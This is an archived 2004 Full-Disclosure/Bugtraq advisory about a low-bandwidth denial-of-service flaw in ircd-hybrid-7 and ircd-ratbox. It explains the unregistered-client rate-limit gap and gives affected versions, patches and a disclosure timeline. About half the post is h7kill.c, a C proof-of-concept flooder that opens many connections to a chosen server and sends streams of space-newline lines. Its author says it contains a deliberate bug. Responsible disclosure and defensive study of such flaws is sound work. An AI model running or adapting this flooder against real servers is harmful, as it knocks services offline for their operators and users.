lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sat, 19 Jun 2004 00:21:19 +0300
From: Erik Sperling Johansen <einride@...ride.org>
To: full-disclosure@...ts.netsys.com, bugtraq@...urityfocus.com
Subject: ircd-hybrid-7 / ircd-ratbox low-bandwidth DoS


Name     : ircd-hybrid-7/ircd-ratbox low-bandwidth DoS
Date     : June 14th 2004
Author   : Erik Sperling Johansen <einride@...ride.org>
Severity : Medium

This has been tested on most the ircd versions currently used on EFNet.
Other ircds may be affected.

Affected: 
  ircd-hybrid <=7.0.1
  ircd-ratbox <=1.5.1
  ircd-ratbox <=2.0rc6
Not Affected:
  ircd-hybrid 7.1-devel
  ircd-ratbox >=1.5.2
  ircd-ratbox >=2.0rc7
  ircd-hybrid 6
  csircd


Outline:
Due to faulty logic in the socket dequeuing mechanism used in hybrid 7 
and the derivated ircd-ratbox, it is possible to severely lag an irc 
server using a low-bandwidth DoS attack. 


Description:
Client connections to the ircd are subject to a burstable rate limit, 
specified as messages per second, and implemented as a simple token 
bucket. This rate limit will cause a client to exit with an "Excess 
Flood" error if data is sent too fast. This rate limit is not used for 
connected servers, and more important; neither for connections that 
are not yet registered as a client or a server.

Processing of received data is a 2-stage operation. First, data is 
read off ready sockets, split into lines and queued up in a "linebuf" 
linked list with buffers allocated from a blockheap. Each line will 
cause a 537-byte block of data to be allocated.

Then, these lines are processed by parse_client_queued. If the sender 
is a server, there's no ratelimit, fine. If the sender is a client, 
there's a ratelimit leading to a closed connection if it's exceeded, 
works like a charm. If the sender is "Unknown", there's a fixed 
ratelimit of MAX_FLOOD (default 5) lines per main loop iteration. This
ratelimit does not cause the connection to be closed if it is exceeded,
processing is simply postponed until next main loop iteration.

So, if you haven't registered, you're not subject to rate limits. Each
line you send causes a 537 byte buffer to be allocated. Your lines are
dequeued slowly. Starts to look like a possible memory exhaustion? Now,
add to this that " \n" is considered a queueable line. Yep, 2 bytes 
sent cause a 537 byte heap block to be queued and way too slowly
dequeued. 


Exploitation:
The included app can make any of the vulnerable ircds severely lagged 
and often totally unresponsive, with usage of no more than 100-150K/sec 
bandwidth. The effects stay behind several minutes after the flooding 
connections have been terminated. No warnings are given with the default 
log levels of the affected ircds.


Resolution:
- Upgrade to hybrid-6 or csircd
- Get the corrected ratbox-1.5.2 from http://www.ircd-ratbox.org
- Get a hybrid-7.0.1 patch from 
http://www.ircd-hybrid.org/diff/unreg_limit.diff

Timeline:
Found june 13th. 
Developers informed june 14th. Patch made available immediately.
Notified EFNet administration june 15th.
Public release june 19th.


Erik S. Johansen <einride@...ride.org>

einride@...et - co-admin irc.banetele.no


-----h7kill.c-----

// Proof of concept - remote ircd-hybrid-7/ircd-ratbox DoS
//
// ./kiddie-proofed - you'll need to correct a bug
// 
// Tested on linux, should work with minor tweaks on other platforms
//
// -- Erik Sperling Johansen <einride@...ride.org>

#include <stdlib.h>
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <string.h>
#include <time.h>

int done = 0;


void siginthandler(int x) {
  fprintf(stdout, "Exiting\n");
  done = 1;
}
void usage(const char * b) {
  fprintf(stderr, "%s ip port connectioncount\n", b);
  exit(1);
}

int makeconn(struct sockaddr_in * sin) {
  int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (s < 0) {
    perror("socket");
    return -1;
  }
  int n=1;
  if (ioctl(s, FIONBIO, &n, sizeof(n))) {
    perror("ioctl");
    close(s);
    return -1;
  } 
  errno = 0;
  if ((connect(s, (struct sockaddr *) sin, sizeof(sin)) == -1) 
    && (errno != EINPROGRESS)) {
    perror("connect");
    close(s);
    return -1;
  }
  return s;
};

int main(int argc, const char ** argv, const char ** envp) {
  fd_set wfd, rfd;
  FD_ZERO(&wfd);
  FD_ZERO(&rfd);
  if (argc != 4)
    usage(argv[0]);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  if (sin.sin_addr.s_addr == INADDR_NONE)
    usage(argv[0]);
  sin.sin_port = htons(atoi(argv[2]));
  sin.sin_family = AF_INET;
  int conncount = atoi(argv[3]);
  if ((conncount <= 0) || (conncount > FD_SETSIZE-5))
    usage(argv[0]);
  int * sockets = (int *) malloc(conncount * sizeof(int));
  int i, highsock = 0;
  char buf[65536];
  char dummy[65536];
  for (i=0; i<sizeof(buf)-1; i+=2) {
    buf[i] = ' ';
    buf[i+1] = '\n';
  }
  for (i = 0; i<conncount; ++i)
    sockets[i] = -1;
  highsock = -1;
  int CountConnects = 0, CountBytes = 0, CurCountBytes = 0;
  time_t Started = time(0), LastRep = time(0);
  signal(SIGPIPE, SIG_IGN);
  signal(SIGINT, siginthandler);
  while (!done) {
    fd_set w, r;
    if (highsock == -1) {
      for (i=0;i<conncount;++i) {
	if (sockets[i] < 0) {
	  sockets[i] = makeconn(&sin);
	  if (sockets[i] >= 0) {
	    ++CountConnects;
	    FD_SET(sockets[i], &wfd);
	    FD_SET(sockets[i], &rfd);
	  }
	  if (highsock < sockets[i])
	    highsock = sockets[i];
	}
      }
    }
    memcpy(&w, &wfd, sizeof(w));
    memcpy(&r, &rfd, sizeof(r));
    struct timeval tv = { 1, 0 };
    int c = select(highsock+1, &r, &w, 0, &tv);
    for (i = 0; (i<conncount) && (c > 0); ++i) {
      if (sockets[i] >= 0) {
	if (FD_ISSET(sockets[i], &w)) {
	  int bytes = send(sockets[i], buf, sizeof(buf), 0);
	  if (bytes > 0) {
	    CountBytes += bytes;
	    CurCountBytes += bytes;
	  } else {
#ifndef NONOISE
	    perror("send");
#endif
	    FD_CLR(sockets[i], &wfd);
	    FD_CLR(sockets[i], &rfd);
	    close(sockets[i]);
#ifndef NONOISE
	    fprintf(stdout, "(send) Lost conn on socket %i, reconnecting\n", 
sockets[i]);
#endif
	    sockets[i] = -1;
	    highsock = -1;
	  }
	}
      }
      if (sockets[i] >= 0) {
	if (FD_ISSET(sockets[i], &r)) {
	  errno = 0;
	  if (recv(sockets[i], dummy, sizeof(dummy), 0) <= 0) {
#ifndef NONOISE
	    perror("recv");
#endif
	    FD_CLR(sockets[i], &wfd);
	    FD_CLR(sockets[i], &rfd);
	    close(sockets[i]);
#ifndef NONOISE
	    fprintf(stdout, "(recv) Lost conn on socket %i, reconnecting\n",
            sockets[i]);
#endif
	    sockets[i] = -1;
	    highsock = -1;
	  }
	}
      }
    }
    
    if (time(0) - LastRep > 5) {
      fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS - Last 
period: %i bytes, %li BPS\n", CountConnects, CountBytes, CountBytes / 
(time(0) - Started), CurCountBytes, CurCountBytes / (time(0) - LastRep));
      LastRep = time(0);
      CurCountBytes = 0;
    }
  }
  fprintf(stdout, "%i connects made - Total: %i bytes, %li BPS\n",  
CountConnects, CountBytes, CountBytes / (time(0) - Started));
  
  return 0;
}

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Powered by blists - more mailing lists